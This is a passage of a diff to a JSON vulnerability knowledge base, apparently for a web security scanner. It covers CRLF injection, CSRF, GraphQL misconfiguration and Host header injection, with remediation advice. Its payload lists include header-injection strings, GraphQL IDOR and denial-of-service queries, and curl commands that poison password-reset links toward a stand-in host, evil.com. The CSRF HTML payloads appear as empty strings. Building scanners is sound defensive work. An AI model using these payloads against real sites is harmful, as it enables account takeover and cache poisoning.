begin the body with attacker-controlled HTML/JS.\n- **Log injection:** newlines in log entries forge entries and confuse SIEM systems.\n- **Cache poisoning:** injected headers are cached and served to other victims.\n- **Session fixation:** a forged `Set-Cookie` sets the attacker's session on the victim's browser.\n- **Open redirect bypass:** injecting CRLF into a `Location` header allows appending headers and a response body.\n\nExploitability depends on the server or proxy not normalizing or rejecting CR/LF characters. Modern frameworks generally block this, but custom wrappers, gateways, legacy languages, and third-party libraries can reintroduce the flaw.", - "impact": "- XSS in responses that reflect headers (e.g., `Location` on error pages).\n- Cache poisoning and response corruption affecting other users.\n- Session fixation and cookie theft.\n- Bypass of CSP, CORS, and redirect controls.\n- Log forgery and impaired audit trails.\n- Severity: MEDIUM, escalating to HIGH when cache poisoning or stored XSS is achievable.", - "payloads": [ - "# Injeção básica em parâmetro refletido em header", - "?lang=en%0d%0aSet-Cookie:session=atacante", - "?url=https://alvo.com%0d%0aSet-Cookie:admin=true", - "?next=/home%0d%0aContent-Length:0", - "# Response splitting", - "?name=x%0d%0a%0d%0a", - "?q=x%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type:text/html%0d%0a%0d%0a", - "# Variações de newline", - "%0a", - "%0d", - "%0d%0a", - "%0a%0d", - "\\r\\n", - "\\n", - "\\r", - "# Double encoding", - "%250d%250a", - "%250a", - "%25250d%25250a", - "# Unicode / overlong", - "%E5%98%8A%E5%98%8D", - "%C0%8D%C0%8A", - "# Header injection em User-Agent / Referer / X-Forwarded-Host", - "User-Agent: x%0d%0aX-Forwarded-Host: evil.com", - "Referer: https://alvo.com/%0d%0aSet-Cookie:admin=1", - "GET /redirect?url=%0d%0a%0d%0a HTTP/1.1", - "Host: alvo.com", - "- CRLF codificado uma ou duas vezes", - "- Mistura de \\r e \\n", - "- Unicode line separators (U+2028/U+2029) quando o parser normaliza", - "- Espaços/tabs entre header e valor", - "- Injeção via header de proxy (X-Forwarded-Host, X-Original-URL)", - "- Injeção em nome de cookie/atributo", - "- Quebra de linha em multipart/form-data" - ], - "crawlerHints": { - "parameters": [ - "url", - "redirect", - "next", - "return", - "lang", - "locale", - "page", - "file", - "name", - "email", - "subject", - "host", - "domain", - "callback", - "state" - ], - "paths": [ - "/redirect", - "/login", - "/logout", - "/set-locale", - "/api/redirect", - "/download", - "/error", - "/search" - ] + "crlf_injection": { + "title": "CRLF Injection / HTTP Response Splitting", + "module": "CRLF", + "severity": "MEDIUM", + "cweId": "CWE-113", + "cweTitle": "Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')", + "cvssVector": "AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", + "vrtId": "cross_site_scripting_xss.reflected_xss", + "summary": "Injection of CR/LF sequences into headers or parameters enables crafting of forged HTTP headers and responses, leading to XSS, cache poisoning, session fixation, and security control bypass.", + "description": "The HTTP protocol uses `\\r\\n` to delimit headers and separate them from the body. When the application inserts user input into a response header (`Location`, `Set-Cookie`, `Content-Type`, `X-Forwarded-*`) or into any context interpreted as a header, an attacker can inject newline sequences to add arbitrary headers or even craft a complete response (HTTP response splitting).\n\nVariants include:\n- **Header injection:** `?lang=en%0d%0aSet-Cookie:admin=1`.\n- **Response splitting:** two consecutive CRLFs terminate the headers and begin the body with attacker-controlled HTML/JS.\n- **Log injection:** newlines in log entries forge entries and confuse SIEM systems.\n- **Cache poisoning:** injected headers are cached and served to other victims.\n- **Session fixation:** a forged `Set-Cookie` sets the attacker's session on the victim's browser.\n- **Open redirect bypass:** injecting CRLF into a `Location` header allows appending headers and a response body.\n\nExploitability depends on the server or proxy not normalizing or rejecting CR/LF characters. Modern frameworks generally block this, but custom wrappers, gateways, legacy languages, and third-party libraries can reintroduce the flaw.", + "impact": "- XSS in responses that reflect headers (e.g., `Location` on error pages).\n- Cache poisoning and response corruption affecting other users.\n- Session fixation and cookie theft.\n- Bypass of CSP, CORS, and redirect controls.\n- Log forgery and impaired audit trails.\n- Severity: MEDIUM, escalating to HIGH when cache poisoning or stored XSS is achievable.", + "payloads": [ + "# Injeção básica em parâmetro refletido em header", + "?lang=en%0d%0aSet-Cookie:session=atacante", + "?url=https://alvo.com%0d%0aSet-Cookie:admin=true", + "?next=/home%0d%0aContent-Length:0", + "# Response splitting", + "?name=x%0d%0a%0d%0a", + "?q=x%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type:text/html%0d%0a%0d%0a", + "# Variações de newline", + "%0a", + "%0d", + "%0d%0a", + "%0a%0d", + "\\r\\n", + "\\n", + "\\r", + "# Double encoding", + "%250d%250a", + "%250a", + "%25250d%25250a", + "# Unicode / overlong", + "%E5%98%8A%E5%98%8D", + "%C0%8D%C0%8A", + "# Header injection em User-Agent / Referer / X-Forwarded-Host", + "User-Agent: x%0d%0aX-Forwarded-Host: evil.com", + "Referer: https://alvo.com/%0d%0aSet-Cookie:admin=1", + "GET /redirect?url=%0d%0a%0d%0a HTTP/1.1", + "Host: alvo.com", + "- CRLF codificado uma ou duas vezes", + "- Mistura de \\r e \\n", + "- Unicode line separators (U+2028/U+2029) quando o parser normaliza", + "- Espaços/tabs entre header e valor", + "- Injeção via header de proxy (X-Forwarded-Host, X-Original-URL)", + "- Injeção em nome de cookie/atributo", + "- Quebra de linha em multipart/form-data" + ], + "crawlerHints": { + "parameters": [ + "url", + "redirect", + "next", + "return", + "lang", + "locale", + "page", + "file", + "name", + "email", + "subject", + "host", + "domain", + "callback", + "state" + ], + "paths": [ + "/redirect", + "/login", + "/logout", + "/set-locale", + "/api/redirect", + "/download", + "/error", + "/search" + ] + }, + "recommendation": "1. Reject any input containing `\\r`, `\\n`, or control characters before inserting it into headers; use allowlist validation.\n2. Use framework APIs that automatically encode header values; never concatenate raw strings into `Location`/`Set-Cookie`.\n3. In Java, use `HttpServletResponse.setHeader()` with sanitized values and validate with regex; avoid `addHeader` with raw input.\n4. In Nginx, use the normalized `$uri` variable and `return 302` with a validated destination; do not forward untrusted headers.\n5. Normalize and reject encoded sequences (`%0d`, `%0a`, `%250d`) after URL decoding.\n6. Configure proxies and WAFs to block CR/LF in headers and parameters, but do not rely on them as the sole defense.\n7. Sanitize log output (escape newlines) and never use user input as a header name.\n8. Java example:\n```java\nprivate static final Pattern CRLF = Pattern.compile(\"[\\\\r\\\\n\\\\u0000]\");\n\npublic void redirect(HttpServletResponse res, String target) throws IOException {\n if (CRLF.matcher(target).find()) throw new IllegalArgumentException(\"invalid target\");\n res.setStatus(302);\n res.setHeader(\"Location\", target);\n}\n```\n9. Test responses with `curl -i` and inspect headers and body after each input.", + "notableCves": [] }, - "recommendation": "1. Reject any input containing `\\r`, `\\n`, or control characters before inserting it into headers; use allowlist validation.\n2. Use framework APIs that automatically encode header values; never concatenate raw strings into `Location`/`Set-Cookie`.\n3. In Java, use `HttpServletResponse.setHeader()` with sanitized values and validate with regex; avoid `addHeader` with raw input.\n4. In Nginx, use the normalized `$uri` variable and `return 302` with a validated destination; do not forward untrusted headers.\n5. Normalize and reject encoded sequences (`%0d`, `%0a`, `%250d`) after URL decoding.\n6. Configure proxies and WAFs to block CR/LF in headers and parameters, but do not rely on them as the sole defense.\n7. Sanitize log output (escape newlines) and never use user input as a header name.\n8. Java example:\n```java\nprivate static final Pattern CRLF = Pattern.compile(\"[\\\\r\\\\n\\\\u0000]\");\n\npublic void redirect(HttpServletResponse res, String target) throws IOException {\n if (CRLF.matcher(target).find()) throw new IllegalArgumentException(\"invalid target\");\n res.setStatus(302);\n res.setHeader(\"Location\", target);\n}\n```\n9. Test responses with `curl -i` and inspect headers and body after each input.", - "notableCves": [] - }, - "csrf": { - "title": "Cross-Site Request Forgery", - "module": "CSRF", - "severity": "HIGH", - "cweId": "CWE-352", - "cweTitle": "Cross-Site Request Forgery (CSRF)", - "cvssVector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", - "vrtId": "broken_authentication_and_session_management.csrf", - "summary": "State-changing endpoints rely solely on session cookies for authentication, allowing a malicious website to trigger authenticated actions in the victim's browser without their consent.", - "description": "Cross-Site Request Forgery exploits the browser's automatic inclusion of cookies with every request. If an endpoint accepts `POST /api/email` or `POST /account/password` without an anti-CSRF token, without `Origin`/`Referer` validation, and without `SameSite` cookie attributes, an attacker can craft a page that submits the request while the victim is authenticated.\n\nVariants:\n- **Classic CSRF:** An auto-submitting form targeting a state-changing endpoint.\n- **Login CSRF:** The victim is logged into the attacker's account and unknowingly submits sensitive data to it.\n- **JSON CSRF:** The endpoint accepts `text/plain` or form-encoded data and interprets it as JSON.\n- **Method override:** `_method=DELETE` or `_method=PUT` in a POST body.\n- **Token bypass:** Token not bound to the session, reusable across sessions, predictable, accepted when blank, or double-submit implemented incorrectly.\n- **SameSite bypass:** Cookies set with `SameSite=None` or legacy browsers; compromised subdomain.\n- **CSRF via XSS:** XSS renders the CSRF token irrelevant since the attacker can read it from the DOM.\n\nGET endpoints that perform state changes are especially vulnerable (`/api/delete?id=1`, `/logout`).", - "impact": "- Email/password change leading to full account takeover.\n- Unauthorized transactions, purchases, data deletion, and settings changes.\n- Login CSRF causing data leakage to the attacker's account.\n- Administrative actions performed on behalf of an authenticated admin.\n- Impact is HIGH; CRITICAL when mass account takeover is possible.", - "payloads": [ - "", - "

", - " ", - "
", - "", - "", - "", - "", - "", - "
", - " ", - "
", - "", - "", - "
", - " ", - "
", - "# Token bypass", - "- Remover o parâmetro csrf_token", - "- Enviar token vazio", - "- Reutilizar token de outra sessão/usuário", - "- Token fixo/previsível", - "- Token no cookie e no body iguais (double-submit) sem validação de assinatura", - "- Trocar método POST -> GET/PUT/PATCH", - "- Enviar Content-Type: application/json sem preflight (text/plain)", - "- Origin/Referer ausente ou null", - "- SameSite=None", - "curl -s -X POST https://alvo.com/api/email \\", - " -H 'Cookie: session=' \\", - " -H 'Origin: https://evil.com' \\", - " -d 'email=atacante@evil.com'" - ], - "crawlerHints": { - "parameters": [ - "csrf_token", - "csrf", - "_token", - "authenticity_token", - "X-CSRF-Token", - "_method", - "state", - "nonce" - ], - "paths": [ - "/api/email", - "/api/password", - "/api/user", - "/account/*", - "/settings", - "/admin/*", - "/logout", - "/transfer", - "/checkout" - ] + "csrf": { + "title": "Cross-Site Request Forgery", + "module": "CSRF", + "severity": "HIGH", + "cweId": "CWE-352", + "cweTitle": "Cross-Site Request Forgery (CSRF)", + "cvssVector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", + "vrtId": "broken_authentication_and_session_management.csrf", + "summary": "State-changing endpoints rely solely on session cookies for authentication, allowing a malicious website to trigger authenticated actions in the victim's browser without their consent.", + "description": "Cross-Site Request Forgery exploits the browser's automatic inclusion of cookies with every request. If an endpoint accepts `POST /api/email` or `POST /account/password` without an anti-CSRF token, without `Origin`/`Referer` validation, and without `SameSite` cookie attributes, an attacker can craft a page that submits the request while the victim is authenticated.\n\nVariants:\n- **Classic CSRF:** An auto-submitting form targeting a state-changing endpoint.\n- **Login CSRF:** The victim is logged into the attacker's account and unknowingly submits sensitive data to it.\n- **JSON CSRF:** The endpoint accepts `text/plain` or form-encoded data and interprets it as JSON.\n- **Method override:** `_method=DELETE` or `_method=PUT` in a POST body.\n- **Token bypass:** Token not bound to the session, reusable across sessions, predictable, accepted when blank, or double-submit implemented incorrectly.\n- **SameSite bypass:** Cookies set with `SameSite=None` or legacy browsers; compromised subdomain.\n- **CSRF via XSS:** XSS renders the CSRF token irrelevant since the attacker can read it from the DOM.\n\nGET endpoints that perform state changes are especially vulnerable (`/api/delete?id=1`, `/logout`).", + "impact": "- Email/password change leading to full account takeover.\n- Unauthorized transactions, purchases, data deletion, and settings changes.\n- Login CSRF causing data leakage to the attacker's account.\n- Administrative actions performed on behalf of an authenticated admin.\n- Impact is HIGH; CRITICAL when mass account takeover is possible.", + "payloads": [ + "", + "
", + " ", + "
", + "", + "", + "", + "", + "", + "
", + " ", + "
", + "", + "", + "
", + " ", + "
", + "# Token bypass", + "- Remover o parâmetro csrf_token", + "- Enviar token vazio", + "- Reutilizar token de outra sessão/usuário", + "- Token fixo/previsível", + "- Token no cookie e no body iguais (double-submit) sem validação de assinatura", + "- Trocar método POST -> GET/PUT/PATCH", + "- Enviar Content-Type: application/json sem preflight (text/plain)", + "- Origin/Referer ausente ou null", + "- SameSite=None", + "curl -s -X POST https://alvo.com/api/email \\", + " -H 'Cookie: session=' \\", + " -H 'Origin: https://evil.com' \\", + " -d 'email=atacante@evil.com'" + ], + "crawlerHints": { + "parameters": [ + "csrf_token", + "csrf", + "_token", + "authenticity_token", + "X-CSRF-Token", + "_method", + "state", + "nonce" + ], + "paths": [ + "/api/email", + "/api/password", + "/api/user", + "/account/*", + "/settings", + "/admin/*", + "/logout", + "/transfer", + "/checkout" + ] + }, + "recommendation": "1. Require an anti-CSRF token on all state-changing requests (POST/PUT/PATCH/DELETE), bound to the session and single-use when possible.\n2. Validate `Origin` and `Referer` headers against an allowlist in addition to the token; reject requests missing `Origin` in sensitive contexts.\n3. Set session cookies with `SameSite=Lax` or `Strict` and `Secure`; use `None` only when necessary and always with a CSRF token.\n4. Never perform state changes via GET; use POST/PUT/PATCH/DELETE and return 405 for invalid methods.\n5. For JSON APIs, require `Content-Type: application/json` and reject `text/plain` or form-encoded submissions; use a custom header (`X-Requested-With`) as an additional defense, not the sole one.\n6. Implement double-submit with a signed token (HMAC) or a server-side synchronizer pattern; do not rely solely on cookie/body equality.\n7. Require re-authentication (password/MFA) for critical actions (email/password change, financial transactions).\n8. Spring Security example:\n```java\nhttp.csrf(csrf -> csrf\n .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())\n .ignoringRequestMatchers(\"/webhooks/**\"));\n```\n9. In Rails, keep `protect_from_forgery with: :exception`; in Django, use `{% csrf_token %}` and `CsrfViewMiddleware`.\n10. Add tests that submit requests without a token, with another user's token, and with an external `Origin` header.", + "notableCves": [] }, - "recommendation": "1. Require an anti-CSRF token on all state-changing requests (POST/PUT/PATCH/DELETE), bound to the session and single-use when possible.\n2. Validate `Origin` and `Referer` headers against an allowlist in addition to the token; reject requests missing `Origin` in sensitive contexts.\n3. Set session cookies with `SameSite=Lax` or `Strict` and `Secure`; use `None` only when necessary and always with a CSRF token.\n4. Never perform state changes via GET; use POST/PUT/PATCH/DELETE and return 405 for invalid methods.\n5. For JSON APIs, require `Content-Type: application/json` and reject `text/plain` or form-encoded submissions; use a custom header (`X-Requested-With`) as an additional defense, not the sole one.\n6. Implement double-submit with a signed token (HMAC) or a server-side synchronizer pattern; do not rely solely on cookie/body equality.\n7. Require re-authentication (password/MFA) for critical actions (email/password change, financial transactions).\n8. Spring Security example:\n```java\nhttp.csrf(csrf -> csrf\n .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())\n .ignoringRequestMatchers(\"/webhooks/**\"));\n```\n9. In Rails, keep `protect_from_forgery with: :exception`; in Django, use `{% csrf_token %}` and `CsrfViewMiddleware`.\n10. Add tests that submit requests without a token, with another user's token, and with an external `Origin` header.", - "notableCves": [] - }, - "graphql_misconfiguration": { - "title": "GraphQL Misconfiguration", - "module": "GraphQL", - "severity": "HIGH", - "cweId": "CWE-200", - "cweTitle": "Exposure of Sensitive Information to an Unauthorized Actor", - "cvssVector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", - "vrtId": "server_security_misconfiguration.graphql_misconfiguration", - "summary": "GraphQL endpoints expose introspection, field suggestions, unlimited batching, and lack per-field authorization, enabling schema mapping, IDOR exploitation, and denial of service.", - "description": "GraphQL provides a single endpoint that accepts arbitrary queries. If authorization is enforced only at the endpoint level and not at each resolver/field, an authenticated user can query other users' data, access administrative fields, or execute unintended mutations. Introspection enabled in production reveals types, fields, mutations, and arguments; field suggestions help discover names even when introspection is disabled.\n\nAdditional risks:\n- **Batching/aliasing:** multiple operations in a single request for brute-force attacks, ID enumeration, or rate-limit bypass.\n- **Query depth/complexity:** deeply nested or recursive queries cause denial of service.\n- **IDOR in `node(id:)`:** opaque global IDs can be decoded and manipulated.\n- **Unauthorized mutations:** modification of profile, role, email, password, and other users' resources.\n- **Exposed debug/GraphiQL:** playgrounds, IDEs, and verbose error messages.\n- **Non-mandatory persisted queries:** allows arbitrary queries in production.", - "impact": "- Complete schema mapping and attack surface enumeration.\n- Leakage of sensitive data and PII from other users/tenants.\n- Privilege escalation via mutations and administrative fields.\n- Rate-limit bypass and mass enumeration through batching.\n- Denial of service via expensive queries.\n- Severity: HIGH; can be CRITICAL if account takeover or full data dump is achievable.", - "payloads": [ - "# Introspection completa", - "{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } } }", - "# Tipos e campos", - "{ __type(name: \"User\") { name fields { name type { name } } } }", - "# Field suggestions (quando introspection está off)", - "{ usr }", - "# Consulta de outro usuário (IDOR)", - "{ user(id: \"123\") { id email role passwordHash } }", - "# Node interface", - "{ node(id: \"VXNlcjoxMjM=\") { ... on User { id email role } } }", - "# Aliases para enumeração / bypass de rate limit", - "{", - " u1: user(id: \"1\") { email }", - " u2: user(id: \"2\") { email }", - " u3: user(id: \"3\") { email }", - "}", - "# Batching (array de operações)", - "[", - " {\"query\":\"{ user(id:\\\"1\\\"){email} }\"},", - " {\"query\":\"{ user(id:\\\"2\\\"){email} }\"},", - " {\"query\":\"{ user(id:\\\"3\\\"){email} }\"}", - "]", - "# Mutation administrativa", - "mutation { updateUser(id: \"123\", input: { role: \"ADMIN\" }) { id role } }", - "# Depth / DoS", - "{ user(id:\"1\") { friends { friends { friends { friends { friends { id } } } } } } }", - "curl -s https://alvo.com/graphql -H 'Content-Type: application/json' \\", - " -d '{\"query\":\"{ __schema { types { name } } }\"}'", - "curl -s https://alvo.com/graphql -H 'Content-Type: application/json' \\", - " -H 'Authorization: Bearer ' \\", - " -d '{\"query\":\"{ user(id:\\\"2\\\") { id email role } }\"}'", - "- GET com query na URL (?query=...)", - "- Content-Type: application/graphql", - "- Introspection parcial: __type, __schema, __typename", - "- Aliases com nomes aleatórios para evitar assinaturas", - "- Fragmentos para montar queries sem palavras bloqueadas", - "- Persisted query hash manipulation", - "- Batching via array, multipart ou JSON Lines", - "- Enumerar IDs sequenciais, UUIDv1 e IDs base64" - ], - "crawlerHints": { - "parameters": [ - "query", - "variables", - "operationName", - "id", - "nodeId", - "input", - "filter", - "first", - "after", - "orderBy" - ], - "paths": [ - "/graphql", - "/api/graphql", - "/v1/graphql", - "/graphiql", - "/playground", - "/api/v1/graphql", - "/query" - ] + "graphql_misconfiguration": { + "title": "GraphQL Misconfiguration", + "module": "GraphQL", + "severity": "HIGH", + "cweId": "CWE-200", + "cweTitle": "Exposure of Sensitive Information to an Unauthorized Actor", + "cvssVector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", + "vrtId": "server_security_misconfiguration.graphql_misconfiguration", + "summary": "GraphQL endpoints expose introspection, field suggestions, unlimited batching, and lack per-field authorization, enabling schema mapping, IDOR exploitation, and denial of service.", + "description": "GraphQL provides a single endpoint that accepts arbitrary queries. If authorization is enforced only at the endpoint level and not at each resolver/field, an authenticated user can query other users' data, access administrative fields, or execute unintended mutations. Introspection enabled in production reveals types, fields, mutations, and arguments; field suggestions help discover names even when introspection is disabled.\n\nAdditional risks:\n- **Batching/aliasing:** multiple operations in a single request for brute-force attacks, ID enumeration, or rate-limit bypass.\n- **Query depth/complexity:** deeply nested or recursive queries cause denial of service.\n- **IDOR in `node(id:)`:** opaque global IDs can be decoded and manipulated.\n- **Unauthorized mutations:** modification of profile, role, email, password, and other users' resources.\n- **Exposed debug/GraphiQL:** playgrounds, IDEs, and verbose error messages.\n- **Non-mandatory persisted queries:** allows arbitrary queries in production.", + "impact": "- Complete schema mapping and attack surface enumeration.\n- Leakage of sensitive data and PII from other users/tenants.\n- Privilege escalation via mutations and administrative fields.\n- Rate-limit bypass and mass enumeration through batching.\n- Denial of service via expensive queries.\n- Severity: HIGH; can be CRITICAL if account takeover or full data dump is achievable.", + "payloads": [ + "# Introspection completa", + "{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } } }", + "# Tipos e campos", + "{ __type(name: \"User\") { name fields { name type { name } } } }", + "# Field suggestions (quando introspection está off)", + "{ usr }", + "# Consulta de outro usuário (IDOR)", + "{ user(id: \"123\") { id email role passwordHash } }", + "# Node interface", + "{ node(id: \"VXNlcjoxMjM=\") { ... on User { id email role } } }", + "# Aliases para enumeração / bypass de rate limit", + "{", + " u1: user(id: \"1\") { email }", + " u2: user(id: \"2\") { email }", + " u3: user(id: \"3\") { email }", + "}", + "# Batching (array de operações)", + "[", + " {\"query\":\"{ user(id:\\\"1\\\"){email} }\"},", + " {\"query\":\"{ user(id:\\\"2\\\"){email} }\"},", + " {\"query\":\"{ user(id:\\\"3\\\"){email} }\"}", + "]", + "# Mutation administrativa", + "mutation { updateUser(id: \"123\", input: { role: \"ADMIN\" }) { id role } }", + "# Depth / DoS", + "{ user(id:\"1\") { friends { friends { friends { friends { friends { id } } } } } } }", + "curl -s https://alvo.com/graphql -H 'Content-Type: application/json' \\", + " -d '{\"query\":\"{ __schema { types { name } } }\"}'", + "curl -s https://alvo.com/graphql -H 'Content-Type: application/json' \\", + " -H 'Authorization: Bearer ' \\", + " -d '{\"query\":\"{ user(id:\\\"2\\\") { id email role } }\"}'", + "- GET com query na URL (?query=...)", + "- Content-Type: application/graphql", + "- Introspection parcial: __type, __schema, __typename", + "- Aliases com nomes aleatórios para evitar assinaturas", + "- Fragmentos para montar queries sem palavras bloqueadas", + "- Persisted query hash manipulation", + "- Batching via array, multipart ou JSON Lines", + "- Enumerar IDs sequenciais, UUIDv1 e IDs base64" + ], + "crawlerHints": { + "parameters": [ + "query", + "variables", + "operationName", + "id", + "nodeId", + "input", + "filter", + "first", + "after", + "orderBy" + ], + "paths": [ + "/graphql", + "/api/graphql", + "/v1/graphql", + "/graphiql", + "/playground", + "/api/v1/graphql", + "/query" + ] + }, + "recommendation": "1. Disable introspection and GraphiQL/playground in production; if required, restrict to internal users.\n2. Disable field suggestions and verbose error messages in production.\n3. Enforce authorization at each resolver/field, with ownership and tenant verification; do not rely solely on the token.\n4. Implement a persisted query allowlist or depth/complexity limits; reject queries exceeding the maximum cost.\n5. Limit batching, aliases, and body size; apply per-user/IP and per-operation rate limits.\n6. Do not expose internal IDs; use opaque IDs and verify authorization when resolving `node(id:)`.\n7. Disable administrative mutations for non-privileged roles and audit changes.\n8. Protection example (Apollo Server):\n```js\nconst server = new ApolloServer({\n typeDefs, resolvers,\n introspection: false,\n validationRules: [depthLimit(7), createComplexityLimitRule(1000)],\n plugins: [ApolloServerPluginLandingPageDisabled()],\n});\n```\n9. Monitor anomalous queries, complexity spikes, and ID enumeration patterns.", + "notableCves": [] }, - "recommendation": "1. Disable introspection and GraphiQL/playground in production; if required, restrict to internal users.\n2. Disable field suggestions and verbose error messages in production.\n3. Enforce authorization at each resolver/field, with ownership and tenant verification; do not rely solely on the token.\n4. Implement a persisted query allowlist or depth/complexity limits; reject queries exceeding the maximum cost.\n5. Limit batching, aliases, and body size; apply per-user/IP and per-operation rate limits.\n6. Do not expose internal IDs; use opaque IDs and verify authorization when resolving `node(id:)`.\n7. Disable administrative mutations for non-privileged roles and audit changes.\n8. Protection example (Apollo Server):\n```js\nconst server = new ApolloServer({\n typeDefs, resolvers,\n introspection: false,\n validationRules: [depthLimit(7), createComplexityLimitRule(1000)],\n plugins: [ApolloServerPluginLandingPageDisabled()],\n});\n```\n9. Monitor anomalous queries, complexity spikes, and ID enumeration patterns.", - "notableCves": [] - }, - "host_header_injection": { - "title": "Host Header Injection", - "module": "HostHeader", - "severity": "HIGH", - "cweId": "CWE-20", - "cweTitle": "Improper Input Validation", - "cvssVector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", - "vrtId": "server_security_misconfiguration.host_header_injection", - "summary": "The application trusts the `Host` header (or `X-Forwarded-Host`) to generate links, redirects, and absolute URLs, enabling password reset poisoning, cache poisoning, SSRF, and routing bypass.", - "description": "The `Host` header indicates the domain the client used to reach the server. Behind proxies and load balancers, headers such as `X-Forwarded-Host`, `X-Forwarded-Server`, `Forwarded`, and `X-Original-URL` may be forwarded. When the application uses these values to construct URLs (password reset links, callbacks, webhooks, canonical URLs, redirects) without validating them against the canonical domain, the attacker controls the destination.\n\nClassic scenarios:\n- **Password reset poisoning:** the reset link sent by email points to the attacker's host, which captures the token.\n- **Cache poisoning:** a response with the injected host is cached and served to other victims.\n- **SSRF/routing bypass:** the proxy uses the header to select an internal backend.\n- **Webhook/callback hijack:** the return URL points to a malicious domain.\n- **Cookie injection:** `Set-Cookie` with an attacker-controlled domain.\n- **Virtual host enumeration:** reveals internal vhosts and administrative panels.", - "impact": "- Account takeover via stolen password reset tokens.\n- Cache poisoning and distribution of malicious content.\n- Access to internal services and bypass of proxy/WAF rules.\n- Token and data leakage in links and callbacks.\n- Severity: HIGH; CRITICAL when it leads to mass account takeover.", - "payloads": [ - "GET /password/reset HTTP/1.1", - "Host: evil.com", - "POST /password/reset HTTP/1.1", - "Host: alvo.com", - "X-Forwarded-Host: evil.com", - "X-Forwarded-Server: evil.com", - "X-Forwarded-Proto: https", - "# Headers alternativos", - "Host: evil.com", - "Host: alvo.com:443@evil.com", - "Host: evil.com:443", - "Host: evil.com#@alvo.com", - "X-Forwarded-Host: evil.com", - "X-Forwarded-Server: evil.com", - "X-Forwarded-Port: 443", - "X-Forwarded-Proto: http", - "X-Original-URL: /admin", - "X-Rewrite-URL: /admin", - "Forwarded: host=evil.com;proto=https", - "X-Host: evil.com", - "X-HTTP-Host-Override: evil.com", - "# Duplicar Host / smuggling de header", - "Host: alvo.com", - "Host: evil.com", - "# Absolute-form request URI", - "GET https://evil.com/password/reset HTTP/1.1", - "Host: alvo.com", - "# Bypass de allowlist", - "Host: alvo.com.evil.com", - "Host: evil.com/alvo.com", - "Host: alvo.com%00.evil.com", - "Host: alvo.com%2f@evil.com", - "Host: EVIL.COM", - "Host: alvo.com:443", - "curl -s -X POST https://alvo.com/api/password/reset \\", - " -H 'Host: evil.com' \\", - " -H 'Content-Type: application/json' \\", - " -d '{\"email\":\"vitima@exemplo.com\"}'", - "# Verificar o link recebido: https://evil.com/reset?token=..." - ], - "crawlerHints": { - "parameters": [ - "Host", - "X-Forwarded-Host", - "X-Forwarded-Server", - "X-Forwarded-Proto", - "X-Original-URL", - "X-Rewrite-URL", - "Forwarded", - "X-Host" - ], - "paths": [ - "/password/reset", - "/forgot-password", - "/account/reset", - "/login", - "/redirect", - "/webhook", - "/callback", - "/api/*", - "/admin" - ] + "host_header_injection": { + "title": "Host Header Injection", + "module": "HostHeader", + "severity": "HIGH", + "cweId": "CWE-20", + "cweTitle": "Improper Input Validation", + "cvssVector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", + "vrtId": "server_security_misconfiguration.host_header_injection", + "summary": "The application trusts the `Host` header (or `X-Forwarded-Host`) to generate links, redirects, and absolute URLs, enabling password reset poisoning, cache poisoning, SSRF, and routing bypass.", + "description": "The `Host` header indicates the domain the client used to reach the server. Behind proxies and load balancers, headers such as `X-Forwarded-Host`, `X-Forwarded-Server`, `Forwarded`, and `X-Original-URL` may be forwarded. When the application uses these values to construct URLs (password reset links, callbacks, webhooks, canonical URLs, redirects) without validating them against the canonical domain, the attacker controls the destination.\n\nClassic scenarios:\n- **Password reset poisoning:** the reset link sent by email points to the attacker's host, which captures the token.\n- **Cache poisoning:** a response with the injected host is cached and served to other victims.\n- **SSRF/routing bypass:** the proxy uses the header to select an internal backend.\n- **Webhook/callback hijack:** the return URL points to a malicious domain.\n- **Cookie injection:** `Set-Cookie` with an attacker-controlled domain.\n- **Virtual host enumeration:** reveals internal vhosts and administrative panels.", + "impact": "- Account takeover via stolen password reset tokens.\n- Cache poisoning and distribution of malicious content.\n- Access to internal services and bypass of proxy/WAF rules.\n- Token and data leakage in links and callbacks.\n- Severity: HIGH; CRITICAL when it leads to mass account takeover.", + "payloads": [ + "GET /password/reset HTTP/1.1", + "Host: evil.com", + "POST /password/reset HTTP/1.1", + "Host: alvo.com", + "X-Forwarded-Host: evil.com", + "X-Forwarded-Server: evil.com", + "X-Forwarded-Proto: https", + "# Headers alternativos", + "Host: evil.com", + "Host: alvo.com:443@evil.com", + "Host: evil.com:443", + "Host: evil.com#@alvo.com", + "X-Forwarded-Host: evil.com", + "X-Forwarded-Server: evil.com", + "X-Forwarded-Port: 443", + "X-Forwarded-Proto: http", + "X-Original-URL: /admin", + "X-Rewrite-URL: /admin", + "Forwarded: host=evil.com;proto=https", + "X-Host: evil.com", + "X-HTTP-Host-Override: evil.com", + "# Duplicar Host / smuggling de header", + "Host: alvo.com", + "Host: evil.com", + "# Absolute-form request URI", + "GET https://evil.com/password/reset HTTP/1.1", + "Host: alvo.com", + "# Bypass de allowlist", + "Host: alvo.com.evil.com", + "Host: evil.com/alvo.com", + "Host: alvo.com%00.evil.com", + "Host: alvo.com%2f@evil.com", + "Host: EVIL.COM", + "Host: alvo.com:443", + "curl -s -X POST https://alvo.com/api/password/reset \\", + " -H 'Host: evil.com' \\", + " -H 'Content-Type: application/json' \\", + " -d '{\"email\":\"vitima@exemplo.com\"}'", + "# Verificar o link recebido: https://evil.com/reset?token=..." + ], + "crawlerHints": { + "parameters": [ + "Host", + "X-Forwarded-Host", + "X-Forwarded-Server", + "X-Forwarded-Proto", + "X-Original-URL", + "X-Rewrite-URL", + "Forwarded", + "X-Host" + ], + "paths": [ + "/password/reset", + "/forgot-password", + "/account/reset", + "/login", + "/redirect", + "/webhook", + "/callback", + "/api/*", + "/admin" + ] + }, + "recommendation": "1. Validate the `Host` header against an allowlist of canonical domains; reject unknown hosts with HTTP 400.\n2. Do not trust 